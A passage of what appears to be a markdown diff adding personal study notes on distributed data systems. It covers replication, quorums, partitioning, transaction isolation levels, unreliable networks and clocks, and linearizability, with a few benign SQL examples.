loss. +* Give each replica a unique ID, writes that originated at a higher-numbered replica always take precedence. This approach also implies data loss. +* Somehow merge the values together. +* Record the conflict and write application code that resolves it a to some later time (perhaps prompting the user). + +##### Custom conflict resolution + +Multi-leader replication tools let you write conflict resolution logic using application code. + +* **On write.** As soon as the database system detects a conflict in the log of replicated changes, it calls the conflict handler. +* **On read.** All the conflicting writes are stored. On read, multiple versions of the data are returned to the application. The application may prompt the user or automatically resolve the conflict. CouchDB works this way. + +#### Multi-leader replication topologies + +A _replication topology_ describes the communication paths along which writes are propagated from one node to another. + +The most general topology is _all-to-all_ in which every leader sends its writes to every other leader. MySQL uses _circular topology_, where each nodes receives writes from one node and forwards those writes to another node. Another popular topology has the shape of a _star_, one designated node forwards writes to all of the other nodes. + +In circular and star topologies a write might need to pass through multiple nodes before they reach all replicas. To prevent infinite replication loops each node is given a unique identifier and the replication log tags each write with the identifiers of the nodes it has passed through. When a node fails it can interrupt the flow of replication messages. + +In all-to-all topology fault tolerance is better as messages can travel along different paths avoiding a single point of failure. It has some issues too, some network links may be faster than others and some replication messages may "overtake" others. To order events correctly. there is a technique called _version vectors_. PostgreSQL BDR does not provide casual ordering of writes, and Tungsten Replicator for MySQL doesn't even try to detect conflicts. + +### Leaderless replication + +Simply put, any replica can directly accept writes from clients. Databases like look like Amazon's in-house _Dynamo_ datastore. _Riak_, _Cassandra_ and _Voldemort_ follow the _Dynamo style_. + +In a leaderless configuration, failover does not exist. Clients send the write to all replicas in parallel. + +_Read requests are also sent to several nodes in parallel_. The client may get different responses. Version numbers are used to determine which value is newer. + +Eventually, all the data is copied to every replica. After a unavailable node come back online, it has two different mechanisms to catch up: +* **Read repair.** When a client detect any stale responses, write the newer value back to that replica. +* **Anti-entropy process.** There is a background process that constantly looks for differences in data between replicas and copies any missing data from one replica to he other. It does not copy writes in any particular order. + +#### Quorums for reading and writing + +If there are _n_ replicas, every write must be confirmed by _w_ nodes to be considered successful, and we must query at least _r_ nodes for each read. As long as _w_ + _r_ > _n_, we expect to get an up-to-date value when reading. _r_ and _w_ values are called _quorum_ reads and writes. Are the minimum number of votes required for the read or write to be valid. + +A common choice is to make _n_ and odd number (typically 3 or 5) and to set _w_ = _r_ = (_n_ + 1)/2 (rounded up). + +Limitations: +* Sloppy quorum, the _w_ writes may end up on different nodes than the _r_ reads, so there is no longer a guaranteed overlap. +* If two writes occur concurrently, and is not clear which one happened first, the only safe solution is to merge them. Writes can be lost due to clock skew. +* If a write happens concurrently with a read, the write may be reflected on only some of the replicas. +* If a write succeeded on some replicas but failed on others, it is not rolled back on the replicas where it succeeded. Reads may or may not return the value from that write. +* If a node carrying a new value fails, and its data is restored from a replica carrying an old value, the number of replicas storing the new value may break the quorum condition. + +**Dynamo-style databases are generally optimised for use cases that can tolerate eventual consistency.** + +#### Sloppy quorums and hinted handoff + +Leaderless replication may be appealing for use cases that require high availability and low latency, and that can tolerate occasional stale reads. + +It's likely that the client won't be able to connect to _some_ database nodes during a network interruption. +* Is it better to return errors to all requests for which we cannot reach quorum of _w_ or _r_ nodes? +* Or should we accept writes anyway, and write them to some nodes that are reachable but aren't among the _n_ nodes on which the value usually lives? + +The latter is known as _sloppy quorum_: writes and reads still require _w_ and _r_ successful responses, but those may include nodes that are not among the designated _n_ "home" nodes for a value. + +Once the network interruption is fixed, any writes are sent to the appropriate "home" nodes (_hinted handoff_). + +Sloppy quorums are useful for increasing write availability: as long as any _w_ nodes are available, the database can accept writes. This also means that you cannot be sure to read the latest value for a key, because it may have been temporarily written to some nodes outside of _n_. + +##### Multi-datacenter operation + +Each write from a client is sent to all replicas, regardless of datacenter, but the client usually only waits for acknowledgement from a quorum of nodes within its local datacenter so that it is unaffected by delays and interruptions on cross-datacenter link. + +#### Detecting concurrent writes + +In order to become eventually consistent, the replicas should converge toward the same value. to avoid losing data, you application developer, need to know a lot about the internals of your database's conflict handling. + +* **Last write wins (discarding concurrent writes).** Even though the writes don' have a natural ordering, we can force an arbitrary order on them. We can attach a timestamp to each write and pick the most recent. There are some situations such caching on which lost writes are acceptable. If losing data is not acceptable, LWW is a poor choice for conflict resolution. +* **The "happens-before" relationship and concurrency.** Whether one operation happens before another operation is the key to defining what concurrency means. **We can simply say that to operations are _concurrent_ if neither happens before the other.** Either A happened before B, or B happened before A, or A and B are concurrent. + +##### Capturing the happens-before relationship + +The server can determine whether two operations are concurrent by looking at the version numbers. +* The server maintains a version number for every key, increments the version number every time that key is written, and stores the new version number along the value written. +* Client reads a key, the server returns all values that have not been overwrite, as well as the latest version number. A client must read a key before writing. +* Client writes a key, it must include the version number from the prior read, and it must merge together all values that it received in the prior read. +* Server receives a write with a particular version number, it can overwrite all values with that version number or below, but it must keep all values with a higher version number. + +##### Merging concurrently written values + +No data is silently dropped. It requires clients do some extra work, they have to clean up afterward by merging the concurrently written values. Riak calls these concurrent values _siblings_. + +Merging sibling values is the same problem as conflict resolution in multi-leader replication. A simple approach is to just pick one of the values on a version number or timestamp (last write wins). You may need to do something more intelligent in application code to avoid losing data. + +If you want to allow people to _remove_ things, union of siblings may not yield the right result. An item cannot simply be deleted from the database when it is removed, the system must leave a marker with an appropriate version number to indicate that the item has been removed when merging siblings (_tombstone_). + +Merging siblings in application code is complex and error-prone, there are efforts to design data structures that can perform this merging automatically (CRDTs). + +#### Version vectors + +We need a version number _per replica_ as well as per key. Each replica increments its own version number when processing a write, and also keeps track of the version numbers it has seen from each of the other replicas. + +The collection of version numbers from all the replicas is called a _version vector_. + +Version vector are sent from the database replicas to clients when values are read, and need to be sent back to the database when a value is subsequently written. Riak calls this _casual context_. Version vectors allow the database to distinguish between overwrites and concurrent writes. + +## Partitioning + +Replication, for very large datasets or very high query throughput is not sufficient, we need to break the data up into _partitions_ (_sharding_). + +Basically, each partition is a small database of its own. + +The main reason for wanting to partition data is _scalability_, query load can be load cabe distributed across many processors. Throughput can be scaled by adding more nodes. + + +### Partitioning and replication + +Each record belongs to exactly one partition, it may still be stored on several nodes for fault tolerance. + +A node may store more than one partition. + +### Partition of key-value data + +Our goal with partitioning is to spread the data and the query load evenly across nodes. + +If partition is unfair, we call it _skewed_. It makes partitioning much less effective. A partition with disproportionately high load is called a _hot spot_. + +The simplest approach is to assign records to nodes randomly. The main disadvantage is that if you are trying to read a particular item, you have no way of knowing which node it is on, so you have to query all nodes in parallel. + +#### Partition by key range + +Assign a continuous range of keys, like the volumes of a paper encyclopaedia. Boundaries might be chose manually by an administrator, or the database can choose them automatically. On each partition, keys are in sorted order so scans are easy. + +The downside is that certain access patterns can lead to hot spots. + +#### Partitioning by hash of key + +A good hash function takes skewed data and makes it uniformly distributed. There is no need to be cryptographically strong (MongoDB uses MD5 and Cassandra uses Murmur3). You can assign each partition a range of hashes. The boundaries can be evenly spaced or they can be chosen pseudorandomly (_consistent hashing_). + +Unfortunately we lose the ability to do efficient range queries. Keys that were once adjacent are now scattered across all the partitions. Any range query has to be sent to all partitions. + +#### Skewed workloads and relieving hot spots + +You can't avoid hot spots entirely. For example, you may end up with large volume of writes to the same key. + +It's the responsibility of the application to reduce the skew. A simple technique is to add a random number to the beginning or end of the key. + +Splitting writes across different keys, makes reads now to do some extra work and combine them. + +### Partitioning and secondary indexes + +The situation gets more complicated if secondary indexes are involved. A secondary index usually doesn't identify the record uniquely. They don't map neatly to partitions. + +#### Partitioning secondary indexes by document + +Each partition maintains its secondary indexes, covering only the documents in that partition (_local index_). + +You need to send the query to _all_ partitions, and combine all the results you get back (_scatter/gather_). This is prone to tail latency amplification and is widely used in MongoDB, Riak, Cassandra, Elasticsearch, SolrCloud and VoltDB. + +#### Partitioning secondary indexes by term + +We construct a _global index_ that covers data in all partitions. The global index must also be partitioned so it doesn't become the bottleneck. + +It is called the _term-partitioned_ because the term we're looking for determines the partition of the index. + +Partitioning by term can be useful for range scans, whereas partitioning on a hash of the term gives a more even distribution load. + +The advantage is that it can make reads more efficient: rather than doing scatter/gather over all partitions, a client only needs to make a request to the partition containing the term that it wants. The downside of a global index is that writes are slower and complicated. + +### Rebalancing partitions + +The process of moving load from one node in the cluster to another. + +Strategies for rebalancing: +* **How not to do it: Hash mod n.** The problem with _mod N_ is that if the number of nodes _N_ changes, most of the keys will need to be moved from one node to another. +* **Fixed number of partitions.** Create many more partitions than there are nodes and assign several partitions to each node. If a node is added to the cluster, we can _steal_ a few partitions from every existing node until partitions are fairly distributed once again. The number of partitions does not change, nor does the assignment of keys to partitions. The only thing that change is the assignment of partitions to nodes. This is used in Riak, Elasticsearch, Couchbase, and Voldemport. **You need to choose a high enough number of partitions to accommodate future growth.** Neither too big or too small. +* **Dynamic partitioning.** The number of partitions adapts to the total data volume. An empty database starts with an empty partition. While the dataset is small, all writes have to processed by a single node while the others nodes sit idle. HBase and MongoDB allow an initial set of partitions to be configured (_pre-splitting_). +* **Partitioning proportionally to nodes.** Cassandra and Ketama make the number of partitions proportional to the number of nodes. Have a fixed number of partitions _per node_. This approach also keeps the size of each partition fairly stable. + +#### Automatic versus manual rebalancing + +Fully automated rebalancing may seem convenient but the process can overload the network or the nodes and harm the performance of other requests while the rebalancing is in progress. + +It can be good to have a human in the loop for rebalancing. You may avoid operational surprises. + +### Request routing + +This problem is also called _service discovery_. There are different approaches: +1. Allow clients to contact any node and make them handle the request directly, or forward the request to the appropriate node. +2. Send all requests from clients to a routing tier first that acts as a partition-aware load balancer. +3. Make clients aware of the partitioning and the assignment of partitions to nodes. + +In many cases the problem is: how does the component making the routing decision learn about changes in the assignment of partitions to nodes? + +Many distributed data systems rely on a separate coordination service such as ZooKeeper to keep track of this cluster metadata. Each node registers itself in ZooKeeper, and ZooKeeper maintains the authoritative mapping of partitions to nodes. The routing tier or the partitioning-aware client, can subscribe to this information in ZooKeeper. HBase, SolrCloud and Kafka use ZooKeeper to track partition assignment. MongoDB relies on its own _config server_. Cassandra and Riak take a different approach: they use a _gossip protocol_. + +#### Parallel query execution + +_Massively parallel processing_ (MPP) relational database products are much more sophisticated in the types of queries they support. + +## Transactions + +Implementing fault-tolerant mechanisms is a lot of work. + +### The slippery concept of a transaction + +_Transactions_ have been the mechanism of choice for simplifying these issues. Conceptually, all the reads and writes in a transaction are executed as one operation: either the entire transaction succeeds (_commit_) or it fails (_abort_, _rollback_). + +The application is free to ignore certain potential error scenarios and concurrency issues (_safety guarantees_). + +#### ACID + +* **Atomicity.** Is _not_ about concurrency. It is what happens if a client wants to make several writes, but a fault occurs after some of the writes have been processed. _Abortability_ would have been a better term than _atomicity_. +* **Consistency.** _Invariants_ on your data must always be true. The idea of consistency depends on the application's notion of invariants. Atomicity, isolation, and durability are properties of the database, whereas consistency (in an ACID sense) is a property of the application. +* **Isolation.** Concurrently executing transactions are isolated from each other. It's also called _serializability_, each transaction can pretend that it is the only transaction running on the entire database, and the result is the same as if they had run _serially_ (one after the other). +* **Durability.** Once a transaction has committed successfully, any data it has written will not be forgotten, even if there is a hardware fault or the database crashes. In a single-node database this means the data has been written to nonvolatile storage. In a replicated database it means the data has been successfully copied to some number of nodes. + +Atomicity can be implemented using a log for crash recovery, and isolation can be implemented using a lock on each object, allowing only one thread to access an object at any one time. + +**A transaction is a mechanism for grouping multiple operations on multiple objects into one unit of execution.** + +#### Handling errors and aborts + +A key feature of a transaction is that it can be aborted and safely retried if an error occurred. + +In datastores with leaderless replication is the application's responsibility to recover from errors. + +The whole point of aborts is to enable safe retries. + +### Weak isolation levels + +Concurrency issues (race conditions) come into play when one transaction reads data that is concurrently modified by another transaction, or when two transactions try to simultaneously modify the same data. + +Databases have long tried to hide concurrency issues by providing _transaction isolation_. + +In practice, is not that simple. Serializable isolation has a performance cost. It's common for systems to use weaker levels of isolation, which protect against _some_ concurrency issues, but not all. + +Weak isolation levels used in practice: + +#### Read committed + +It makes two guarantees: +1. When reading from the database, you will only see data that has been committed (no _dirty reads_). Writes by a transaction only become visible to others when that transaction commits. +2. When writing to the database, you will only overwrite data that has been committed (no _dirty writes_). Dirty writes are prevented usually by delaying the second write until the first write's transaction has committed or aborted. + +Most databases prevent dirty writes by using row-level locks that hold the lock until the transaction is committed or aborted. Only one transaction can hold the lock for any given object. + +On dirty reads, requiring read locks does not work well in practice as one long-running write transaction can force many read-only transactions to wait. For every object that is written, the database remembers both the old committed value and the new value set by the transaction that currently holds the write lock. While the transaction is ongoing, any other transactions that read the object are simply given the old value. + +#### Snapshot isolation and repeatable read + +There are still plenty of ways in which you can have concurrency bugs when using this isolation level. + +_Nonrepeatable read_ or _read skew_, when you read at the same time you committed a change you may see temporal and inconsistent results. + +There are some situations that cannot tolerate such temporal inconsistencies: +* **Backups.** During the time that the backup process is running, writes will continue to be made to the database. If you need to restore from such a backup, inconsistencies can become permanent. +* **Analytic queries and integrity checks.** You may get nonsensical results if they observe parts of the database at different points in time. + +_Snapshot isolation_ is the most common solution. Each transaction reads from a _consistent snapshot_ of the database. + +The implementation of snapshots typically use write locks to prevent dirty writes. + +The database must potentially keep several different committed versions of an object (_multi-version concurrency control_ or MVCC). + +Read committed uses a separate snapshot for each query, while snapshot isolation uses the same snapshot for an entire transaction. + +How do indexes work in a multi-version database? One option is to have the index simply point to all versions of an object and require an index query to filter out any object versions that are not visible to the current transaction. + +Snapshot isolation is called _serializable_ in Oracle, and _repeatable read_ in PostgreSQL and MySQL. + +#### Preventing lost updates + +This might happen if an application reads some value from the database, modifies it, and writes it back. If two transactions do this concurrently, one of the modifications can be lost (later write _clobbers_ the earlier write). + +##### Atomic write operations + +A solution for this it to avoid the need to implement read-modify-write cycles and provide atomic operations such us + +```sql +UPDATE counters SET value = value + 1 WHERE key = 'foo'; +``` + +MongoDB provides atomic operations for making local modifications, and Redis provides atomic operations for modifying data structures. + +##### Explicit locking + +The application explicitly lock objects that are going to be updated. + +##### Automatically detecting lost updates + +Allow them to execute in parallel, if the transaction manager detects a lost update, abort the transaction and force it to retry its read-modify-write cycle. + +MySQL/InnoDB's repeatable read does not detect lost updates. + +##### Compare-and-set + +If the current value does not match with what you previously read, the update has no effect. + +```SQL +UPDATE wiki_pages SET content = 'new content' + WHERE id = 1234 AND content = 'old content'; +``` + +##### Conflict resolution and replication + +With multi-leader or leaderless replication, compare-and-set do not apply. + +A common approach in replicated databases is to allow concurrent writes to create several conflicting versions of a value (also know as _siblings_), and to use application code or special data structures to resolve and merge these versions after the fact. + +#### Write skew and phantoms + +Imagine Alice and Bob are two on-call doctors for a particular shift. Imagine both the request to leave because they are feeling unwell. Unfortunately they happen to click the button to go off call at approximately the same time. + + ALICE BOB + + ┌─ BEGIN TRANSACTION ┌─ BEGIN TRANSACTION + │ │ + ├─ currently_on_call = ( ├─ currently_on_call = ( + │ select count(*) from doctors │ select count(*) from doctors + │ where on_call = true │ where on_call = true + │ and shift_id = 1234 │ and shift_id = 1234 + │ ) │ ) + │ // now currently_on_call = 2 │ // now currently_on_call = 2 + │ │ + ├─ if (currently_on_call 2) { │ + │ update doctors │ + │ set on_call = false │ + │ where name = 'Alice' │ + │ and shift_id = 1234 ├─ if (currently_on_call >= 2) { + │ } │ update doctors + │ │ set on_call = false + └─ COMMIT TRANSACTION │ where name = 'Bob' + │ and shift_id = 1234 + │ } + │ + └─ COMMIT TRANSACTION + +Since database is using snapshot isolation, both checks return 2. Both transactions commit, and now no doctor is on call. The requirement of having at least one doctor has been violated. + +Write skew can occur if two transactions read the same objects, and then update some of those objects. You get a dirty write or lost update anomaly. + +Ways to prevent write skew are a bit more restricted: +* Atomic operations don't help as things involve more objects. +* Automatically prevent write skew requires true serializable isolation. +* The second-best option in this case is probably to explicitly lock the rows that the transaction depends on. + ```sql + BEGIN TRANSACTION; + + SELECT * FROM doctors + WHERE on_call = true + AND shift_id = 1234 FOR UPDATE; + + UPDATE doctors + SET on_call = false + WHERE name = 'Alice' + AND shift_id = 1234; + + COMMIT; + ``` + +### Serializability + +This is the strongest isolation level. It guarantees that even though transactions may execute in parallel, the end result is the same as if they had executed one at a time, _serially_, without concurrency. Basically, the database prevents _all_ possible race conditions. + +There are three techniques for achieving this: +* Executing transactions in serial order +* Two-phase locking +* Serializable snapshot isolation. + +#### Actual serial execution + +The simplest way of removing concurrency problems is to remove concurrency entirely and execute only one transaction at a time, in serial order, on a single thread. This approach is implemented by VoltDB/H-Store, Redis and Datomic. + +##### Encapsulating transactions in stored procedures + +With interactive style of transaction, a lot of time is spent in network communication between the application and the database. + +For this reason, systems with single-threaded serial transaction processing don't allow interactive multi-statement transactions. The application must submit the entire transaction code to the database ahead of time, as a _stored procedure_, so all the data required by the transaction is in memory and the procedure can execute very fast. + +There are a few pros and cons for stored procedures: +* Each database vendor has its own language for stored procedures. They usually look quite ugly and archaic from today's point of view, and they lack the ecosystem of libraries. +* It's harder to debug, more awkward to keep in version control and deploy, trickier to test, and difficult to integrate with monitoring. + +Modern implementations of stored procedures include general-purpose programming languages instead: VoltDB uses Java or Groovy, Datomic uses Java or Clojure, and Redis uses Lua. + +##### Partitioning + +Executing all transactions serially limits the transaction throughput to the speed of a single CPU. + +In order to scale to multiple CPU cores you can potentially partition your data and each partition can have its own transaction processing thread. You can give each CPU core its own partition. + +For any transaction that needs to access multiple partitions, the database must coordinate the transaction across all the partitions. They will be vastly slower than single-partition transactions. + +#### Two-phase locking (2PL) + +> Two-phase locking (2PL) sounds similar to two-phase _commit_ (2PC) but be aware that they are completely different things. + +Several transactions are allowed to concurrently read the same object as long as nobody is writing it. When somebody wants to write (modify or delete) an object, exclusive access is required. + +Writers don't just block other writers; they also block readers and vice versa. It protects against all the race conditions discussed earlier. + +Blocking readers and writers is implemented by a having lock on each object in the database. The lock is used as follows: +* if a transaction want sot read an object, it must first acquire a lock in shared mode. +* If a transaction wants to write to an object, it must first acquire the lock in exclusive mode. +* If a transaction first reads and then writes an object, it may upgrade its shared lock to an exclusive lock. +* After a transaction has acquired the lock, it must continue to hold the lock until the end of the transaction (commit or abort). **First phase is when the locks are acquired, second phase is when all the locks are released.** + +It can happen that transaction A is stuck waiting for transaction B to release its lock, and vice versa (_deadlock_). + +**The performance for transaction throughput and response time of queries are significantly worse under two-phase locking than under weak isolation.** + +A transaction may have to wait for several others to complete before it can do anything. + +Databases running 2PL can have unstable latencies, and they can be very slow at high percentiles. One slow transaction, or one transaction that accesses a lot of data and acquires many locks can cause the rest of the system to halt. + +##### Predicate locks + +With _phantoms_, one transaction may change the results of another transaction's search query. + +In order to prevent phantoms, we need a _predicate lock_. Rather than a lock belonging to a particular object, it belongs to all objects that match some search condition. + +Predicate locks applies even to objects that do not yet exist in the database, but which might be added in the future (phantoms). + +##### Index-range locks + +Predicate locks do not perform well. Checking for matching locks becomes time-consuming and for that reason most databases implement _index-range locking_. + +It's safe to simplify a predicate by making it match a greater set of objects. + +These locks are not as precise as predicate locks would be, but since they have much lower overheads, they are a good compromise. + +#### Serializable snapshot isolation (SSI) + +It provides full serializability and has a small performance penalty compared to snapshot isolation. SSI is fairly new and might become the new default in the future. + +##### Pesimistic versus optimistic concurrency control + +Two-phase locking is called _pessimistic_ concurrency control because if anything might possibly go wrong, it's better to wait. + +Serial execution is also _pessimistic_ as is equivalent to each transaction having an exclusive lock on the entire database. + +Serializable snapshot isolation is _optimistic_ concurrency control technique. Instead of blocking if something potentially dangerous happens, transactions continue anyway, in the hope that everything will turn out all right. The database is responsible for checking whether anything bad happened. If so, the transaction is aborted and has to be retried. + +If there is enough spare capacity, and if contention between transactions is not too high, optimistic concurrency control techniques tend to perform better than pessimistic ones. + +SSI is based on snapshot isolation, reads within a transaction are made from a consistent snapshot of the database. On top of snapshot isolation, SSI adds an algorithm for detecting serialization conflicts among writes and determining which transactions to abort. + +The database knows which transactions may have acted on an outdated premise and need to be aborted by: +* **Detecting reads of a stale MVCC object version.** The database needs to track when a transaction ignores another transaction's writes due to MVCC visibility rules. When a transaction wants to commit, the database checks whether any of the ignored writes have now been committed. If so, the transaction must be aborted. +* **Detecting writes that affect prior reads.** As with two-phase locking, SSI uses index-range locks except that it does not block other transactions. When a transaction writes to the database, it must look in the indexes for any other transactions that have recently read the affected data. It simply notifies the transactions that the data they read may no longer be up to date. + +##### Performance of serializable snapshot isolation + +Compared to two-phase locking, the big advantage of SSI is that one transaction doesn't need to block waiting for locks held by another transaction. Writers don't block readers, and vice versa. + +Compared to serial execution, SSI is not limited to the throughput of a single CPU core. Transactions can read and write data in multiple partitions while ensuring serializable isolation. + +The rate of aborts significantly affects the overall performance of SSI. SSI requires that read-write transactions be fairly short (long-running read-only transactions may be okay). + +## The trouble with distributed systems + +### Faults and partial failures + +A program on a single computer either works or it doesn't. There is no reason why software should be flaky (non deterministic). + +In a distributed systems we have no choice but to confront the messy reality of the physical world. There will be parts that are broken in an unpredictable way, while others work. Partial failures are _nondeterministic_. Things will unpredicably fail. + +We need to accept the possibility of partial failure and build fault-tolerant mechanism into the software. **We need to build a reliable system from unreliable components.** + +### Unreliable networks + +Focusing on _shared-nothing systems_ the network is the only way machines communicate. + +The internet and most internal networks are _asynchronous packet networks_. A message is sent and the network gives no guarantees as to when it will arrive, or whether it will arrive at all. Things that could go wrong: +1. Request lost +2. Request waiting in a queue to be delivered later +3. Remote node may have failed +4. Remote node may have temporarily stopped responding +5. Response has been lost on the network +6. The response has been delayed and will be delivered later + +If you send a request to another node and don't receive a response, it is _impossible_ to tell why. + +**The usual way of handling this issue is a _timeout_**: after some time you give up waiting and assume that the response is not going to arrive. + +Nobody is immune to network problems. You do need to know how your software reacts to network problems to ensure that the system can recover from them. It may make sense to deliberately trigger network problems and test the system's response. + +If you want to be sure that a request was successful, you need a positive response from the application itself. + +If something has gone wrong, you have to assume that you will get no response at all. + +#### Timeouts and unbounded delays + +A long timeout means a long wait until a node is declared dead. A short timeout detects faults faster, but carries a higher risk of incorrectly declaring a node dead (when it could be a slowdown). + +Premature declaring a node is problematic, if the node is actually alive the action may end up being performed twice. + +When a node is declared dead, its responsibilities need to be transferred to other nodes, which places additional load on other nodes and the network. + +#### Network congestion and queueing + +- Different nodes try to send packets simultaneously to the same destination, the network switch must queue them and feed them to the destination one by one. The switch will discard packets when filled up. +- If CPU cores are busy, the request is queued by the operative system, until applications are ready to handle it. +- In virtual environments, the operative system is often paused while another virtual machine uses a CPU core. The VM queues the incoming data. +- TCP performs _flow control_, in which a node limits its own rate of sending in order to avoid overloading a network link or the receiving node. This means additional queuing at the sender. + +You can choose timeouts experimentally by measuring the distribution of network round-trip times over an extended period. + +Systems can continually measure response times and their variability (_jitter_), and automatically adjust timeouts according to the observed response time distribution. + +#### Synchronous vs ashynchronous networks + +A telephone network estabilishes a _circuit_, we say is _synchronous_ even as the data passes through several routers as it does not suffer from queueing. The maximum end-to-end latency of the network is fixed (_bounded delay_). + +A circuit is a fixed amount of reserved bandwidth which nobody else can use while the circuit is established, whereas packets of a TCP connection opportunistically use whatever network bandwidth is available. + +**Using circuits for bursty data transfers wastes network capacity and makes transfer unnecessary slow. By contrast, TCP dinamycally adapts the rate of data transfer to the available network capacity.** + +We have to assume that network congestion, queueing, and unbounded delays will happen. Consequently, there's no "correct" value for timeouts, they need to be determined experimentally. + +### Unreliable clocks + +The time when a message is received is always later than the time when it is sent, we don't know how much later due to network delays. This makes difficult to determine the order of which things happened when multiple machines are involved. + +Each machine on the network has its own clock, slightly faster or slower than the other machines. It is possible to synchronise clocks with Network Time Protocol (NTP). + +* **Time-of-day clocks**. Return the current date and time according to some calendar (_wall-clock time_). If the local clock is toof ar ahead of the NTP server, it may be forcibly reset and appear to jump back to a previous point in time. **This makes it is unsuitable for measuring elapsed time.** +* **Monotonic clocks**. Peg: `System.nanoTime()`. They are guaranteed to always move forward. The difference between clock reads can tell you how much time elapsed between two checks. **The _absolute_ value of the clock is meaningless.** NTP allows the clock rate to be speeded up or slowed down by up to 0.05%, but **NTP cannot cause the monotonic clock to jump forward or backward**. **In a distributed system, using a monotonic clock for measuring elapsed time (peg: timeouts), is usually fine**. + +If some piece of software is relying on an accurately synchronised clock, the result is more likely to be silent and subtle data loss than a dramatic crash. + +You need to carefully monitor the clock offsets between all the machines. + +#### Timestamps for ordering events + +**It is tempting, but dangerous to rely on clocks for ordering of events across multiple nodes.** This usually imply that _last write wins_ (LWW), often used in both multi-leader replication and leaderless databases like Cassandra and Riak, and data-loss may happen. + +The definition of "recent" also depends on local time-of-day clock, which may well be incorrect. + +_Logical clocks_, based on counters instead of oscillating quartz crystal, are safer alternative for ordering events. Logical clocks do not measure time of the day or elapsed time, only relative ordering of events. This contrasts with time-of-the-day and monotic clocks (also known as _physical clocks_). + +#### Clock readings have a confidence interval + +It doesn't make sense to think of a clock reading as a point in time, it is more like a range of times, within a confidence internval: for example, 95% confident that the time now is between 10.3 and 10.5. + +The most common implementation of snapshot isolation requires a monotonically increasing transaction ID. + +Spanner implements snapshot isolation across datacenters by using clock's confidence interval. If you have two confidence internvals where + +``` +A = [A earliest, A latest] +B = [B earliest, B latest] +``` + +And those two intervals do not overlap (`A earliest` < `A latest` < `B earliest` < `B latest`), then B definetively happened after A. + +Spanner deliberately waits for the length of the confidence interval before committing a read-write transaction, so their confidence intervals do not overlap. + +Spanner needs to keep the clock uncertainty as small as possible, that's why Google deploys a GPS receiver or atomic clock in each datacenter. + +#### Process pauses + +How does a node know that it is still leader? + +One option is for the leader to obtain a _lease_ from other nodes (similar ot a lock with a timeout). It will be the leader until the lease expires; to remain leader, the node must periodically renew the lease. If the node fails, another node can takeover when it expires. + +We have to be very careful making assumptions about the time that has passed for processing requests (and holding the lease), as there are many reasons a process would be paused: +* Garbage collector (stop the world) +* Virtual machine can be suspended +* In laptops execution may be suspended +* Operating system context-switches +* Synchronous disk access +* Swapping to disk (paging) +* Unix process can be stopped (`SIGSTOP`) + +**You cannot assume anything about timing** + +##### Response time guarantees + +There are systems that require software to respond before a specific _deadline_ (_real-time operating system, or RTOS_). + +Library functions must document their worst-case execution times; dynamic memory allocation may be restricted or disallowed and enormous amount of testing and measurement must be done. + +Garbage collection could be treated like brief planned outages. If the runtime can warn the application that a node soon requires a GC pause, the application can stop sending new requests to that node and perform GC while no requests are in progress. + +A variant of this idea is to use the garbage collector only for short-lived objects and to restart the process periodically. + +### Knowledge, truth and lies + +A node cannot necessarily trust its own judgement of a situation. Many distributed systems rely on a _quorum_ (voting among the nodes). + +Commonly, the quorum is an absolute majority of more than half of the nodes. + +#### Fencing tokens + +Assume every time the lock server grant sa lock or a lease, it also returns a _fencing token_, which is a number that increases every time a lock is granted (incremented by the lock service). Then we can require every time a client sends a write request to the storage service, it must include its current fencing token. + +The storage server remembers that it has already processed a write with a higher token number, so it rejects the request with the last token. + +If ZooKeeper is used as lock service, the transaction ID `zcid` or the node version `cversion` can be used as a fencing token. + +#### Byzantine faults + +Fencing tokens can detect and block a node that is _inadvertently_ acting in error. + +Distributed systems become much harder if there is a risk that nodes may "lie" (_byzantine fault_). + +A system is _Byzantine fault-tolerant_ if it continues to operate correctly even if some of the nodes are malfunctioning. +* Aerospace environments +* Multiple participating organisations, some participants may attempt ot cheat or defraud others + +## Consistency and consensus + +The simplest way of handling faults is to simply let the entire service fail. We need to find ways of _tolerating_ faults. + +### Consistency guarantees + +Write requests arrive on different nodes at different times. + +Most replicated databases provide at least _eventual consistency_. The inconsistency is temporary, and eventually resolves itself (_convergence_). + +With weak guarantees, you need to be constantly aware of its limitations. Systems with stronger guarantees may have worse performance or be less fault-tolerant than systems with weaker guarantees. + +### Linearizability + +Make a system appear as if there were only one copy of the data, and all operaitons on it are atomic. + +* `read(x) => v` Read from register _x_, database returns value _v_. +* `write(x,v) => r` _r_ could be _ok_ or _error_. + +If one client read returns the new value, all subsequent reads must also return the new value. + +* `cas(x_old, v_old, v_new) => r` an atomic _compare-and-set_ operation. If the value of the register _x_ equals _v_old_, it is atomically set to _v_new_. If `x != v_old` the registers is unchanged and it returns an error. + +**Serializability**: Transactions behave the same as if they had executed _some_ serial order. + +**Linearizability**: Recency guarantee on reads and writes of a register (individual object). + +#### Locking and leader election + +To ensure that there is indeed only one leader, a lock is used. It must be linearizable: all nodes must agree which nodes owns the lock; otherwise is useless. + +Apache ZooKeepr and etcd are often used for distributed locks and leader election. + +#### Constraints and uniqueness guarantees + +Unique constraints, like a username or an email address require a situation similar to a lock. + +A hard uniqueness constraint in relational databases requires linearizability. + +#### Implementing linearizable systems + +The simplest approach would be to have a single copy of the data, but this would not be able to tolerate faults. + +* Single-leader repolication is potentially linearizable. +* Consensus algorithms is linearizable. +* Multi-leader replication is not linearizable. +* Leaderless replication is probably not linearizable. + +Multi-leader replication is often a good choice for multi-datacenter replication. On a network interruption between data-centers will force a choice between linearizability and availability. + +With multi-leader configuration, each data center can operate normally with interruptions. + +With single-leader replication, the leader must be in one of the datacenters. If the application requires linearizable reads and writes, the network interruption causes the application to become unavailable. + +* If your application_requires_ linearizability, and some replicas are disconnected from the other replicas due to a network problem, the some replicas cannot process request while they are disconnected (unavailable). + +* If your application _does not require_, then it can be written in a way that each replica can process requests independently, even if it is disconnected from other replicas (peg: multi-leader), becoming _available_. + +**If an application does not require linearizability it can be more tolerant of network problems.** + +#### The unhelpful CAP theorem + +CAP is sometimes presented as _Consistency, Availability, Partition tolerance: pick 2 out of 3_. Or being said in another way _either Consistency or Available when Partitioned_. + +CAP only considers one consistency model (linearizability) and one kind of fault (_network partitions_, or nodes that are alive but disconnected from each other). It doesn't say anything about network delays, dead nodes, or other trade-offs. CAP has been historically influential, but nowadays has little practical value for designing systems. + +--- + +The main reason for dropping linearizability is _performance_, not fault tolerance. Linearizabilit is slow and this is true all the time, not on only during a network fault. + +### Ordering guarantees + +Cause comes before the effect. Causal order in the system is what happened before what (_causally consistent_). + +_Total order_ allows any two elements to be compared. Peg, natural numbers are totally ordered. + +Some cases one set is greater than another one. + +Different consistency models: + +* 